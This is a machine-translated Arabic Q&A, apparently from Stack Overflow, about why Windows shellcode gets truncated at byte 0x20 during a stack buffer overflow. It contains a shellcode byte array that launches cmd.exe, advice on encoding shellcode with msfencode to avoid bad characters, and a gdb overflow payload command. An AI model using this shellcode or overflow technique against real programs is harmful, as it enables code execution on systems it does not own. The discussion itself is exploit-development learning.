سؤال

لماذا يتم اقتطاع رمز الصدفة الخاص بي بعد \x20 OpCode ، عندما يتم نسخه بواسطة String للتكديس في برنامج ضعيف ثانٍ؟

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--
هل كانت مفيدة؟

المحلول

هل تمر هذه الرمز القذيف كوسيطة سطر الأوامر؟ في هذه الحالة ، ألقِ نظرة على رمز ASCII لـ 0x20 ؛)

نصائح أخرى

نظريتي هي أن أشياء مثل الاقتباس والمساحة والخالية ، إلخ يتم تفسيرها بواسطة قذيفة Windows بدلاً من إرسالها. يمكنك الهروب من ذلك بطريقة أو بأخرى ، لكنني أعتقد أنه من الأسهل تشفير رمز الصدفة. لذا ، جرب الأداة المساعدة Metasploit من MSFENCODE لتجنب الرموز المطلقة تمامًا. أعرف أنه لا يمكن تمرير NULL (/x00) ، والفضاء (/x20) و QUOTE (/x22) مباشرة ، لكنني أفترض أن هناك رموز opcshes الأخرى التي لا يمكن تمريرها أيضًا.

هذا هو الحل الخاص بي ، لكن هل يعرف أي شخص أي شخص آخر أفضل؟

ضع اقتباسات مزدوجة حول الأمر بأكمله. على سبيل المثال ، قم بتشغيل:

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top